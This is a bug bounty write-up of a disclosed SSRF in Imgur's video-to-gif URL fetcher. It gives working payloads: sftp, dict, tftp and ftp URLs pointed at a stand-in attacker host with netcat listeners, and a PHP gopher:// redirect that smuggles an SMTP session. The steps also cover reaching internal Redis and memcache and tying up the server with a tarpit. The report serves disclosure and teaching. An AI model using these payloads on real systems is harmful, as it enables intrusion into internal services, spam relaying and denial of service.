# SSRF in https://imgur.com/vidgif/url

Imgur's vidgif/url endpoint passed user URLs to libcurl without protocol restriction, enabling SSRF via gopher/tftp/sftp to internal services and SMTP spam.

- Payout: hidden
- Severity: high
- Program: Imgur
- Found by: aesteral
- Disclosed: 2016-03-12
- CVE: CVE-2015-1782, CVE-2015-3144, CVE-2015-3237
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/115748
- Library page: https://bugbountylibrary.com/r/h1%3A115748
- Tags: area:web domain:web impact:data-leak impact:dos impact:internal-access kind:bounty platform:hackerone sev:high tech:curl technique:chained vuln:ssrf

**Target:** vidgif video-to-gif URL fetch endpoint (libcurl)
**Root cause:** The endpoint fetched a user-supplied URL with libcurl without restricting protocol wrappers or validating the URL, so non-HTTP schemes (gopher, tftp, sftp, dict, etc.) were followed, including via redirects.
**Steps:**
1. Send `https://imgur.com/vidgif/url?url=sftp://evil.com:11111/` and listen with `nc -v -l 11111` to receive `SSH-2.0-libssh2_1.4.2` banner.
2. Use `url=dict://evil.com:11111/` to leak `CLIENT libcurl 7.40.0`.
3. Host a PHP page returning `header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');` and request `https://imgur.com/vidgif/url?url=http://evil.com/imgur/gopher1.php` to send arbitrary newline-delimited bytes.
4. For SMTP: build gopher redirect with `%0A`-joined commands `HELO test.org`, `MAIL FROM: <imgur@imgur.com>`, `RCPT TO: <bit-bucket@test.smtp.org>`, `DATA`, `Test mail`, `.` and request `https://imgur.com/vidgif/url?url=http://gradeco.ru/imgur/gopher2.php?rand=RAND`.
5. For UDP: request `https://imgur.com/vidgif/url?url=tftp://evil.com:12346/TESTUDPPACKET` and capture with `nc -v -u -l 12346`.
6. For DoS: point `url=ftp://evil.com:12345/TEST` at a TARPIT'd port to hold connections open.
**How found:** Noticed the video-to-gif service fetches user URLs and inferred libcurl usage; tested non-HTTP scheme wrappers (sftp, dict) against a netcat listener and observed version banners, then abused gopher's newline support via redirect.
**Exploitation:** Attacker supplies a URL to vidgif/url; libcurl connects from Imgur EC2 IPs to arbitrary hosts/ports. Gopher redirects bypass newline filtering to speak SMTP (spam from Imgur IPs), reach internal Redis, or send UDP via TFTP to memcache/Redis-UDP. FTP to a TARPIT exhausts server resources.
**Escalation:** Chained HTTP 302 redirect to gopher:// to bypass newline filtering in the url parameter, enabling arbitrary TELNET-based protocol sessions.
**Insight:** When a service fetches user URLs, test every libcurl/curl scheme wrapper (gopher, dict, tftp, sftp, ftp) against a netcat listener; if newlines are filtered, use an HTTP 302 to a gopher:// URL to smuggle them.

## Proof of concept (copied exactly from the original report)

**Gopher redirect crafting SMTP session**

```
<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <imgur@imgur.com>',
                'RCPT TO: <bit-bucket@test.smtp.org>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
```

**TFTP request sending UDP packet**

```
Request: https://imgur.com/vidgif/url?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6
```